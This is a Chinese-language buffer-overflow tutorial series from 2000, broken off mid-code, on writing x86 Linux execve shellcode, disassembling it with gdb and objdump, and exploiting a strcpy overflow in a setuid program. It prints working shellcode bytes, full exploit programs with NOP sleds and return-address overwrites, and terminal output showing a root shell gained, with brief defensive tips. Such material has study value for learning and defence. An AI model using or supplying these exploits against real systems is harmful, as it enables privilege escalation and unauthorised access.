shellcode技术探讨续一

<!--StartFragment-->shellcode技术探讨续一

发布日期: 2000-1-25
内容:
--------------------------------------------------------------------------------


来源:<scz>


概述:

    本文旨在验证前文几个问题所在,当时我在一旁加了注解,
    可能有朋友觉得理解有点问题,看了这篇就没问题了。
    还有就是针对以前有人问过的,如何得到shellcode的汇编
    代码,给出了实际例子。文中详细注解了使用到的gdb命令
    集合,如果你用过debug/softice,就很容易理解。不过说
    实话,gdb的帮助(即使是那些翻译过来的)比dbx要糟,幸
    好用过dbx。

测试:

    RedHat 6.0/Intel PII

目录:

    1. 验证exit()不是必要的
    2. vi shelltest.c
    3. gdb使用举例(待增加)
    4. 利用objdump直接查看shellcode的汇编代码
    5. 使用外来shellcode时要注意的问题

1. 验证exit()不是必要的

shellcode探讨之一中第6条目,提到那个exit()系统调用是不必要的。
可能有朋友觉得不可信,我就把有关它的部分去掉,略微调整一下
代码再演示一番。

vi shellcodeasm.c

int main ()
{
    __asm__
    ("
        jmp    0x18                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x9(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x8(%esi)           # 3 bytes
        movl   %eax,0xd(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x9(%esi),%ecx           # 3 bytes
        leal   0xd(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        call   -0x1d                    # 5 bytes
        .string /"/bin/ksh/"            # 9 bytes
                                        # 41 bytes total
    ");
}

[scz@ /home/scz/src]> gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[scz@ /home/scz/src]> gdb shellcodeasm
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main

objdump -j .text -Sl shellcodeasm | more
/main

08048398 :
main():
/home/scz/src/shellcodeasm.c:2
{
8048398:       55                      pushl  %ebp
8048399:       89 e5                   movl   %esp,%ebp
/home/scz/src/shellcodeasm.c:3
    __asm__
804839b:       eb 18                   jmp    80483b5
804839d:       5e                      popl   %esi
804839e:       89 76 09                movl   %esi,0x9(%esi)
80483a1:       31 c0                   xorl   %eax,%eax
80483a3:       88 46 08                movb   %al,0x8(%esi)
80483a6:       89 46 0d                movl   %eax,0xd(%esi)
80483a9:       b0 0b                   movb   $0xb,%al
80483ab:       89 f3                   movl   %esi,%ebx
80483ad:       8d 4e 09                leal   0x9(%esi),%ecx
80483b0:       8d 56 0d                leal   0xd(%esi),%edx
80483b3:       cd 80                   int    $0x80
80483b5:       e8 e3 ff ff ff          call   804839d
80483ba:       2f                      das   
80483bb:       62 69 6e                boundl 0x6e(%ecx),%ebp
80483be:       2f                      das   
80483bf:       6b 73 68 00             imull  $0x0,0x68(%ebx),%esi
/home/scz/src/shellcodeasm.c:20
    ("
        jmp    0x18                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x9(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x8(%esi)           # 3 bytes
        movl   %eax,0xd(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x9(%esi),%ecx           # 3 bytes
        leal   0xd(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        call   -0x1d                    # 5 bytes
        .string /"/bin/ksh/"            # 9 bytes
                                        # 41 bytes total
    ");
}
80483c3:       c9                      leave 
80483c4:       c3                      ret   
80483c5:       90                      nop

整理shellcode如下:

eb 18 5e 89 76 09 31 c0 88 46 08 89 46 0d b0 0b 89 f3 8d 4e 09
8d 56 0d cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3

2. vi shelltest.c

char shellcode[] =
    "/xeb/x18/x5e/x89/x76/x09/x31/xc0/x88/x46/x08/x89/x46/x0d/xb0/x0b/x89/xf3/x8d/x4e/x09"
    "/x8d/x56/x0d/xcd/x80/xe8/xe3/xff/xff/xff/x2f/x62/x69/x6e/x2f/x6b/x73/x68/x00/xc9/xc3";

int main ()
{
    int * ret;  /* 当前esp指向的地址保存ret的值 */

    ret      = ( int * )&ret + 2;  /* 得到 esp + 2 * 4,那是返回地址IP */
    ( *ret ) = ( int )shellcode;  /* 修改了 main() 函数的返回地址,那是很重要的一步 */
}

[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
[scz@ /home/scz/src]> ./shelltest
$ exit
[scz@ /home/scz/src]>

说明什么?我们的结论是正确的。exit()不过是一种附加的保护措施,免得你在
别人机器上搞砸的时候来个core dump。我个人建议还是留下这个exit(),增加不
了几个字节的。

3. gdb使用举例(待增加)

[scz@ /home/scz/src]> gdb shelltest
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048398 :       pushl  %ebp
0x8048399 :     movl   %esp,%ebp
0x804839b :     subl   $0x4,%esp
0x804839e :     leal   0xfffffffc(%ebp),%eax
0x80483a1 :     leal   0x8(%eax),%edx
0x80483a4 :    movl   %edx,0xfffffffc(%ebp)
0x80483a7 :    movl   0xfffffffc(%ebp),%eax
0x80483aa :    movl   $0x8049440,(%eax)
0x80483b0 :    leave 
0x80483b1 :    ret
End of assembler dump.
(gdb) break main < -- -- -- 设置断点
Breakpoint 1 at 0x804839e
(gdb) run < -- -- -- 运行
Starting program: /home/scz/src/shelltest

Breakpoint 1, 0x804839e in main ()
(gdb) jump *main+12 < -- -- -- 运行到 main+12 停下来
Continuing at 0x80483a4.

Program exited with code 064.
(gdb) info bre < -- -- -- 查看断点
Num Type           Disp Enb Address    What
1   breakpoint     keep y   0x0804839e 
        breakpoint already hit 1 time
(gdb) kill < -- -- -- 终止调试当前程序
(gdb) d 1 < -- -- -- 删除1号断点
(gdb) break *main+18
Breakpoint 2 at 0x80483aa
(gdb) inf b
Num Type           Disp Enb Address    What
2   breakpoint     keep y   0x080483aa 
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/scz/src/shelltest

Breakpoint 2, 0x80483aa in main ()
(gdb) inf reg < -- -- -- 查看寄存器
     eax: 0xbffffd0c -1073742580 < -- -- -- eax存放着main()返回地址所在地址
     ecx:  0x8048398   134513560
     edx: 0xbffffd0c -1073742580
     ebx: 0x401041b4  1074807220
     esp: 0xbffffd04 -1073742588
     ebp: 0xbffffd08 -1073742584
     esi: 0xbffffd54 -1073742508
     edi:        0x1           1
     eip:  0x80483aa   134513578 < -- -- -- 注意这里eip等于断点地址
  eflags:      0x282 IOPL: 0; flags: SF IF
orig_eax: 0xffffffff          -1
      cs:       0x23          35
      ss:       0x2b          43
      ds:       0x2b          43
      es:       0x2b          43
      fs:        0x0           0
      gs:        0x0           0
(gdb) x/32bx $ebp - 16 < -- -- -- 查看堆栈,采用16进制字节表达方式
0xbffffcf8:     0x08    0xfd    0xff    0xbf    0x8b    0x83    0x04    0x08
0xbffffd00:     0x6c    0x94    0x04    0x08    0x0c    0xfd    0xff    0xbf
0xbffffd08:     0x28    0xfd    0xff    0xbf    0xb3    0x1c    0x03    0x40
0xbffffd10:     0x01    0x00    0x00    0x00    0x54    0xfd    0xff    0xbf
(gdb) stepi < -- -- -- 单步执行一条汇编指令,进入子程序
0x80483b0 in main ()
(gdb) inf reg
     eax: 0xbffffd0c -1073742580 < -- -- -- 应该检查0xbffffd0c的内容
     ecx:  0x8048398   134513560
     edx: 0xbffffd0c -1073742580
     ebx: 0x401041b4  1074807220
     esp: 0xbffffd04 -1073742588
     ebp: 0xbffffd08 -1073742584
     esi: 0xbffffd54 -1073742508
     edi:        0x1           1
     eip:  0x80483b0   134513584 < -- -- -- eip变更
  eflags:      0x382 IOPL: 0; flags: SF TF IF
orig_eax: 0xffffffff          -1
      cs:       0x23          35
      ss:       0x2b          43
      ds:       0x2b          43
      es:       0x2b          43
      fs:        0x0           0
      gs:        0x0           0
(gdb) x/4bx $eax < -- -- -- 检查0xbffffd0c的内容
0xbffffd0c:     0x40    0x94    0x04    0x08
(gdb) stepi
0x80483b1 in main ()
(gdb) stepi < -- -- -- 执行ret指令,流程转入我们的shellcode
0x8049440 in shellcode ()
(gdb) disas $eip $eip+31 < -- -- -- 反汇编shellcode中的31个字节
Dump of assembler code from 0x8049440 to 0x804945f:
0x8049440 :  jmp    0x804945a
0x8049442 :        popl   %esi
0x8049443 :        movl   %esi,0x9(%esi)
0x8049446 :        xorl   %eax,%eax
0x8049448 :        movb   %al,0x8(%esi)
0x804944b :       movl   %eax,0xd(%esi)
0x804944e :       movb   $0xb,%al
0x8049450 :       movl   %esi,%ebx
0x8049452 :       leal   0x9(%esi),%ecx
0x8049455 :       leal   0xd(%esi),%edx
0x8049458 :       int    $0x80
0x804945a :       call   0x8049442
End of assembler dump.
(gdb) x/16s $eip+31 < -- -- -- 以字符串形式查看内存
0x804945f :        "/bin/ksh"
... ...
(gdb) nexti 8 < -- -- -- 单步执行8次汇编指令,不进入子程序
0x8049450 in shellcode ()
(gdb) x/16bx $esi < -- -- -- 观察前文第14条目中提到的内存状况
0x804945f :       0x2f    0x62    0x69    0x6e    0x2f    0x6b    0x73    0x68
0x8049467 :       0x00    0x5f    0x94    0x04    0x08    0x00    0x00    0x00
                                        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(gdb) quit
The program is running.  Exit anyway? (y or n) y
[scz@ /home/scz/src]>

啊哈,是不是一路做下来了呢?找回点什么感觉,对了对了,正是这种感觉,
不就是在玩debug嘛,没什么可怕的,很简单的gdb。当然咯,如果你要调试
多线程程序,可能要麻烦点,回头有机会我写篇gdb调试多线程实战上来。

4. 利用objdump直接查看shellcode的汇编代码

objdump -j .data -D shelltest | more
/shellcode

08049440 :
8049440:       eb 18                   jmp    804945a
8049442:       5e                      popl   %esi
8049443:       89 76 09                movl   %esi,0x9(%esi)
8049446:       31 c0                   xorl   %eax,%eax
8049448:       88 46 08                movb   %al,0x8(%esi)
804944b:       89 46 0d                movl   %eax,0xd(%esi)
804944e:       b0 0b                   movb   $0xb,%al
8049450:       89 f3                   movl   %esi,%ebx
8049452:       8d 4e 09                leal   0x9(%esi),%ecx
8049455:       8d 56 0d                leal   0xd(%esi),%edx
8049458:       cd 80                   int    $0x80
804945a:       e8 e3 ff ff ff          call   8049442
804945f:       2f                      das   
8049460:       62 69 6e                boundl 0x6e(%ecx),%ebp
8049463:       2f                      das   
8049464:       6b 73 68 00             imull  $0x0,0x68(%ebx),%esi
8049468:       c9                      leave 
8049469:       c3                      ret

[scz@ /home/scz/src]> objdump -j .data -s shelltest | more

shelltest:     file format elf32-i386

Contents of section .data:
8049420 00000000 7c940408 00000000 00000000  ....|...........
8049430 00000000 00000000 00000000 00000000  ................
8049440 eb185e89 760931c0 88460889 460db00b  ..^.v.1..F..F...
8049450 89f38d4e 098d560d cd80e8e3 ffffff2f  ...N..V......../
8049460 62696e2f 6b736800 c9c30000           bin/ksh.....   
[scz@ /home/scz/src]>

5. 使用外来shellcode时要注意的问题

我们必须注意到,绝大部分shellcode都是以jmp指令开始的,那么第一个字节
应该是0xeb,即使不以jmp开始,也应该有call和int指令出现,0xe8和0xcd。
要是一段shellcode没有这三个字节出现,那很值得怀疑,到底是shellcode
还是<a class='Channel_KeyLink' href='http://www.77169.com/Article/List/List_41.html'>木马</a>。shellcode一般都是短小精悍的,如果shellcode很长,也要怀疑
它的功能到底是什么,此时应该用objdump来查看这只混蛋,关于objdump的
使用前面已经给了不少例子,完整的说明请查看我贴过的
<>


shellcode技术探讨续二

发布日期: 2000-1-25
内容:
--------------------------------------------------------------------------------


来源:<scz>


概述:

    本文给出一个完整的利用缓冲区溢出取得root shell的
    示例,只要你照着步骤一步步下来,就不会觉得它的神秘,
    而我的意图正在于此。如果看不明白什么地方,可以在这里
    提问,mail to: ,或者到绿色兵团的
    Unix安全<a class='Channel_KeyLink' href='http://bbs.77169.com'>论坛</a>上提问,tt在那里。水木清华97年以前就大范
    围高水平讨论过缓冲区溢出,你没赶上只能怪自己生不逢时。

测试:

    RedHat 6.0/Intel PII

目录:

    1.  先来看一次缓冲区溢出
    2.  研究这个溢出
    3.  修改代码加强理解
    4.  进一步修改代码
    5.  还想到什么
    6.  堆栈可执行
    7.  一个会被缓冲区<a class='Channel_KeyLink' href='http://www.77169.com/Article/Special/Special3/Index.html'>溢出攻击</a>的程序例子
    8.  利用缓冲区溢出取得shell
    9.  分析取得shell失败的原因
    10. 危险究竟在于什么
    11. 待溢出缓冲区不足以容纳shellcode时该如何溢出
    12. 总结与思考

1. 先来看一次缓冲区溢出

vi shelltest.c

/* 这是原来的shellcode */
/*
char shellcode[] =
    "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
    "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
    "/x80/xe8/xdc/xff/xff/xff/bin/sh";
*/

/* 这是我们昨天自己得到的shellcode */
char shellcode[] =
    "/xeb/x1f/x5e/x89/x76/x09/x31/xc0/x88/x46/x08/x89/x46/x0d/xb0/x0b"
    "/x89/xf3/x8d/x4e/x09/x8d/x56/x0d/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
    "/x80/xe8/xdc/xff/xff/xff/bin/ksh";

char large_string[128];

int main ()
{
    char   buffer[96];
    int    i;
    long * long_ptr = ( long * )large_string;

    for ( i = 0; i < 32; i++ )
    {
        /* 用buffer地址一路填写large_string,一个指针占用4个字节 */
        *( long_ptr + i ) = ( int )buffer;
    }
    for ( i = 0; i < strlen( shellcode ); i++ )
    {
        large_string[ i ] = shellcode[ i ];
    }
    /* 这个语句导致main()的返回地址被修改指向buffer */
    strcpy( buffer, large_string );
}

gcc -o shelltest shelltest.c
./shelltest
exit

这个程序所做的是,在large_string中填入buffer的地址,并把shell代码
放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢
出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试图从
main()中返回时,就会转而执行shell。

scz注:原文有误,不是试图从strcpy()返回,而是试图从main()返回,必须
       区别这两种说法。

2. 研究这个溢出

在shellcode后面大量追加buffer指针,这是程序的关键所在,只有这样才能
使得buffer指针覆盖返回地址。其次,返回地址是四字节四字节来的,所以
在程序中出现的128和96不是随便写的数字,这些4的整数倍的数字保证了
在strcpy()调用中能恰好对齐位置地覆盖掉返回地址,否则前后一错位就
不是那么回事情了。

要理解程序的另外一个关键在于,堆是位于代码下方栈上方的。所以buffer
的溢出只会朝栈底方向前进,并不会覆盖掉main()函数本身的代码,也是附和
操作系统代码段只读要求的。不要错误地怀疑main()函数结束处的ret语句会
被覆盖,切记这点。很多阅读该程序的兄弟错误地认为buffer位于代码段中,
于是一路覆盖下来破坏了代码本身,昏倒。

3. 修改代码加强理解

我们先只做一个修改:

    for ( i = 0; i < 32; i++ )
    {
        /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
        *( long_ptr + i ) = ( int )shellcode;
    }

返回地址被覆盖成shellcode指针,同样达到了取得shell的效果。

4. 进一步修改代码

char shellcode[] =
    "/xeb/x1f/x5e/x89/x76/x09/x31/xc0/x88/x46/x08/x89/x46/x0d/xb0/x0b"
    "/x89/xf3/x8d/x4e/x09/x8d/x56/x0d/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
    "/x80/xe8/xdc/xff/xff/xff/bin/ksh";

char large_string[128];

int main ()
{
    char   buffer[96];
    int    i;
    long * long_ptr = ( long * )large_string;

    for ( i = 0; i < 32; i++ )
    {
        /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
        *( long_ptr + i ) = ( int )shellcode;
    }
    /* 这个语句导致main()的返回地址被修改指向buffer */
    strcpy( buffer, large_string );
}

啊哈,还是达到了效果。完全没有必要把shellcode拷贝到buffer中来嘛,定义
buffer的唯一作用就是利用获得堆指针进而向栈底进行覆盖,达到覆盖返回地址
的效果。

5. 还想到什么

既然buffer本身一钱不值,为什么要定义那么大,缩小它!

char shellcode[] =
    "/xeb/x1f/x5e/x89/x76/x09/x31/xc0/x88/x46/x08/x89/x46/x0d/xb0/x0b"
    "/x89/xf3/x8d/x4e/x09/x8d/x56/x0d/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
    "/x80/xe8/xdc/xff/xff/xff/bin/ksh";

char large_string[12];  /* 修改 */

int main ()
{
    char   buffer[4];  /* 修改 */
    int    i;
    long * long_ptr = ( long * )large_string;

    for ( i = 0; i < 3; i++ )  /* 修改 */
    {
        /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
        *( long_ptr + i ) = ( int )shellcode;
    }
    /* 这个语句导致main()的返回地址被修改指向buffer */
    strcpy( buffer, large_string );
}

打住,再修改就失去研究的意义了。

6. 堆栈可执行

在这里我们需要解释一个概念,什么叫堆栈可执行。
按照上述第1条目中给出的代码,实际上shellcode进入了堆区甚至栈区,
最终被执行的是堆栈中的数据,所谓堆栈可执行,大概是说允许堆栈中
的数据被作为指令执行。之所以用大概这个词,因为我自己对保护模式
汇编语言不熟悉,不了解具体细节,请熟悉的兄弟再指点。许多操作系
统可以设置系统参数禁止把堆栈中的数据作为指令执行,比如solaris
中可以在/etc/system中设置:

* Foil certain classes of bug exploits
set noexec_user_stack = 1

* Log attempted exploits
set noexec_user_stack_log = 1

Linux下如何禁止堆栈可执行我也没仔细看过相关文档,谁知道谁就说
一声吧。

按照上述第3条目及其以后各条目给出的代码,实际上执行了位于数据段
.data中的shellcode。我不知道做了禁止堆栈可执行设置之后,能否阻止
数据段可执行?谁了解保护模式汇编,给咱们讲讲。

即使这些都被禁止了,也可以在代码段中嵌入shellcode,代码段中的
shellcode是一定会被执行的。

可是,上面的讨论忽略了一个重要前提,我们要溢出别人的函数,而
不是有源代码供你修改的自己的函数。在这个前提下,我们最可能利用的
就是第一种方式了,明白?

7. 一个会被缓冲区<a class='Channel_KeyLink' href='http://www.77169.com/Article/Special/Special3/Index.html'>溢出攻击</a>的程序例子

我们仅仅明白了如何利用缓冲区溢出修改函数的返回地址而已。可前面修改的
是我们自己的main()函数返回地址,没有用。仔细想想,如果执行一个suid了
的程序,该程序的main()函数实现中有下述代码:

/* gcc -o overflow overflow.c */
int main ( int argc, char * argv[] )
{
    char buffer[ 16 ] = "";
    if ( argc > 1 )
    {
        strcpy( buffer, argv[1] );
        puts( buffer );
    }
    else
    {
        puts( "Argv[1] needed!" );
    }
    return 0;
}

[scz@ /home/scz/src]> ./overflow 0123456789abcdefghi
0123456789abcdefghi
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghij
0123456789abcdefghij
Segmentation fault (core dumped)
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghijk
0123456789abcdefghijk
BUG IN DYNAMIC LINKER ld.so: dl-runtime.c: 61: fixup: Assertion `((reloc->r_info) & 0xff) == 7' failed!
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghijkl
0123456789abcdefghijkl
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb overflow
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"..
(gdb) target core core < -- -- -- 调入core文件
Core was generated by `./overflow 0123456789abcdefghijkl'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0x40006c79 in _dl_load_cache_lookup (name=Cannot access memory at address 0x6a69686f.
) at ../sysdeps/generic/dl-cache.c:202
../sysdeps/generic/dl-cache.c:202: No such file or directory.
(gdb) detach < -- -- -- 卸掉core文件
No core file now.
(gdb)

8. 利用缓冲区溢出取得shell

/* gcc -o overflow_ex overflow_ex.c */

#define BUFFER_SIZE    256
#define DEFAULT_OFFSET 64

unsigned long get_esp ()
{
    __asm__
    ("
        movl %esp, %eax
    ");
}

int main ( int argc, char * argv[] )
{

    char shellcode[] =
        "/xeb/x1f/x5e/x89/x76/x09/x31/xc0/x88/x46/x08/x89/x46/x0d/xb0/x0b"
        "/x89/xf3/x8d/x4e/x09/x8d/x56/x0d/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
        "/x80/xe8/xdc/xff/xff/xff/bin/ksh";

    char *          buffer   = 0;
    unsigned long * pAddress = 0;
    char *          pChar    = 0;
    int             i;
    int             offset   = DEFAULT_OFFSET;

    buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
    if ( buffer == 0 )
    {
        puts( "Can't allocate memory" );
        exit( 0 );
    }
    pChar = buffer;
    /* fill start of buffer with nops */
    memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
    pChar += ( BUFFER_SIZE - strlen( shellcode ) );
    /* stick asm code into the buffer */
    for ( i = 0; i < strlen( shellcode ); i++ )
    {
        *( pChar++ ) = shellcode[ i ];
    }
    pAddress = ( unsigned long * )pChar;
    for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
    {
        *( pAddress++ ) = get_esp() + offset;
    }
    pChar  = ( char * )pAddress;
    *pChar = 0;
    execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
    return 0;
}

程序中get_esp()函数的作用就是定位堆栈位置。首先分配一块内存buffer,然后在buffer的前面部分
填满NOP,后面部分放shellcode。最后部分是希望程序返回的地址,由栈顶指针加偏移得到。当以buffer
为参数调用overflow时,将造成overflow程序的缓冲区溢出,其缓冲区被buffer覆盖,而返回地址将指向
NOP指令。

[scz@ /home/scz/src]> gcc -o overflow_ex overflow_ex.c
[scz@ /home/scz/src]> ./overflow_ex
... ...
.../bin/ksh...
... ...
Segmentation fault (core dumped)
[scz@ /home/scz/src]>

失败,虽然发生了溢出,却没有取得可以使用的shell。

9. 分析取得shell失败的原因

条目7中给出的源代码表明overflow.c只提供了16个字节的缓冲区,
按照我们前面讨论的溢出技术,overflow_ex导致overflow的main()函数的返回地址被0x90覆盖,
没有足够<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>存放shellcode。

让我们对overflow.c做一点小小的调整以迁就overflow_ex.c的成功运行:

old:    char buffer[ 16 ] = "";
new:    char buffer[ 256 ] = "";

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh...
... ... < -- -- -- 返回地址的汉字显示
$ exit < -- -- -- 取得了shell
[scz@ /home/scz/src]>

10. 危险究竟在于什么

假设曾经发生过这样的操作:

[root@ /home/scz/src]> chown root.root overflow
[root@ /home/scz/src]> chmod +s overflow
[root@ /home/scz/src]> ls -l overflow
-rwsr-sr-x   1 root     root overflow
[root@ /home/scz/src]>

好了,麻烦就是这样开始的:

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh...
... ... < -- -- -- 返回地址的汉字显示
# id < -- -- -- 你得到了root shell,看看你是谁吧
uid=500(scz) gid=100(users) euid=0(root) egid=0(root) groups=100(users)
                            ~~~~~~~~~~~~~~~~~~~~~~~~~ 昏倒
# exit
[scz@ /home/scz/src]> id
uid=500(scz) gid=100(users) groups=100(users)
[scz@ /home/scz/src]>

至此你应该明白如何书写自己的shellcode,如何辨别一个shellcode是否
真正是在提供shell而不是<a class='Channel_KeyLink' href='http://www.77169.com/Article/List/List_41.html'>木马</a>,什么是缓冲区溢出,究竟如何利用缓冲区
溢出,什么情况下的缓冲区溢出对攻击者非常有利,suid/sgid程序的危险
性等等。于是你也明白了,为什么某些exploit出来之后如果没有补丁,
一般都建议你先chmod -s,没有什么奇怪,虽然取得shell,但不是
root shell而已。

11. 待溢出缓冲区不足以容纳shellcode时该如何溢出

vi overflow.c

/* gcc -o overflow overflow.c */
int main ( int argc, char * argv[] )
{
    char buffer[ 9 ] = "";
    if ( argc > 1 )
    {
        strcpy( buffer, argv[1] );
        puts( buffer );
    }
    else
    {
        puts( "Argv[1] needed!" );
    }
    return 0;
}

---------------------------------------

vi overflow_ex.c

/* gcc -o overflow_ex overflow_ex.c */

#define BUFFER_SIZE    256

/* 取栈基指针 */
unsigned long get_ebp ()
{
    __asm__
    ("
        movl %ebp, %eax
    ");
}

int main ( int argc, char * argv[] )
{

    char shellcode[] =
        "/xeb/x1f/x5e/x89/x76/x09/x31/xc0/x88/x46/x08/x89/x46/x0d/xb0/x0b"
        "/x89/xf3/x8d/x4e/x09/x8d/x56/x0d/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
        "/x80/xe8/xdc/xff/xff/xff/bin/ksh";

    char *          buffer   = 0;
    unsigned long * pAddress = 0;
    char *          pChar    = 0;
    int             i;

    buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
    if ( buffer == 0 )
    {
        puts( "Can't allocate memory" );
        exit( 0 );
    }
    pAddress = ( unsigned long * )buffer;
    for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
    {
        *( pAddress++ ) = get_ebp() + BUFFER_SIZE;
    }
    pChar = buffer + BUFFER_SIZE;
    /* fill start of buffer with nops */
    memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
    pChar += ( BUFFER_SIZE - strlen( shellcode ) );
    /* stick asm code into the buffer */
    for ( i = 0; i < strlen( shellcode ); i++ )
    {
        *( pChar++ ) = shellcode[ i ];
    }
    *pChar = 0;
    execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
    return 0;
}

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- 返回地址的汉字显示
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh... < -- -- -- shellcode的汉字显示
$ exit < -- -- -- 溢出成功,取得shell
[scz@ /home/scz/src]>

warning3注:对于简单的弱点程序,这种方法是可行的.不过如果问题
函数有很多参数,并且这些参数在strcpy()之后还要使用的话,这种方
法就很难成功了.
例如:
vulnerable_func(arg1,arg2,arg3)
{
char *buffer[16];
...
strcpy(buffer,arg1);
...
other_func(arg2);
...
other_func(arg3);
...
}
如果直接覆盖,就会导致arg1,arg2,arg3也被覆盖,函数就可能不能正常返回.

Aleph1的办法是将shellcode放到环境变量里传递给有弱点的函数,用环境变量
的地址做为返回地址,这样我们可以只用24个字节的buffer来覆盖掉返回地址,
而不需要改动参数.

12. 总结与思考

    上面这些例子本身很简单,完全不同于那些极端复杂的溢出例子。但无论多么
    复杂,其基本原理是一样的。要完成取得root shell的缓冲区攻击:

    a. 有一个可以发生溢出的可执行程序,各种Mail List会不断报告新发现的可供
       攻击的程序;自己也可以通过某些低级调试手段获知程序中是否存在容易发生
       溢出的函数调用,这些调试手段不属于今天讲解范畴,以后再提。
    b. 该程序是root的suid程序,用ls -l确认。
    c. 普通用户有适当的权限运行该程序。
    d. 编写合理的<a class='Channel_KeyLink' href='http://www.77169.com/Article/Special/Special3/Index.html'>溢出攻击</a>程序,shellcode可以从以前成功使用过的例子中提取。
    e. 要合理调整溢出程序,寻找(或者说探测)main()函数的返回地址存放点,找到
       它并用自己的shellcode地址覆盖它;这可能需要很大的耐心和毅力。

    从这些简单的示例中看出,为了得到一个可成功运行的exploit,攻击者们付出过太
    多心血,每一种技术的产生和应用都是各种知识长期积累、自己不断总结、大家群策
    群力的结果,如果认为了解几个现成的bug就可以如何如何,那是种悲哀。

后记:

    颠峰时刻的水木清华的确不是其他站点可以大范围超越的,尽管在某些个别版面上
    存在着分庭抗礼。如果你想了解系统安全,应该从水木清华 Hacker 版98.6以前的
    所有精华区打包文件开始,那些旧日的讨论和技术文章在现在看来也值得初学者仔
    细研读。

    文章的宗旨并不是教你进行实际破坏,但你掌握了这种技术,或者退一步,了解过这
    种技术,对于狂热爱好计算机技术的你来说,不是什么坏事。也许在讨论它们的时候,
    某些人企图阻止过你了解它们,或者当你想了解它们的时候,有人给你带来过不愉快
    的感受,忘记这些人,just do it! 只是你还应该明白一些事实,看过<<这个杀手不
    太冷>>没有,no children、no women,我想说的不是这个,但你应该明白我想说什么。
    Good luck for you.


shellcode技术探讨续三

发布日期: 2000-1-25
内容:
--------------------------------------------------------------------------------


作者:warning3 <warning3@hotmail.com>


Aleph1的办法是将shellcode放到环境变量里传递给有弱点的函数,用环境变量
的地址做为返回地址,这样我们可以只用24个字节的buffer来覆盖掉返回地址,
而不需要改动参数.

完全避免修改任何参数是不可能的,即使用24个字节覆盖,最后的终止字符('/0')
仍然会修改第一个参数的最后一个字节.不过这种方法仍然有它的可取的地方,不
用为buffer的大小考虑太多,环境变量可以设的比较大只要用NOP填充,后面跟着
shellcode就行了.
下面这个overflow.c我稍微改了改,ex.c是从Aleph1的文章里摘出来的.
你可以在 http://www.phrack.com/search.phtml?view&article=p49-14
看到全文,比较长,我就不贴在这里了

[tt@hell tt]$ ./overflow `perl -e 'print "A"x15'`
AAAAAAAAAAAAAAA
[tt@hell tt]$ ./overflow `perl -e 'print "A"x16'`
AAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[tt@hell tt]$ ./ex1
Using address: 0xbffffd38

bash$ exit

/* gcc -o overflow overflow.c */
int func ( char * ptr )
  {
    char buffer[ 16 ] = "";
    strcpy( buffer, ptr );
    puts( ptr );
    return 0;
  }
 
int main ( int argc, char * argv[] )
{
    if ( argc > 1 )
    {
        func( argv[1] );
    }
    else
    {
        puts( "Argv[1] needed!" );
    }
    return 0;
}

/* gcc -o ex ex.c */

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE              24
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
  "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
  "/x80/xe8/xdc/xff/xff/xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
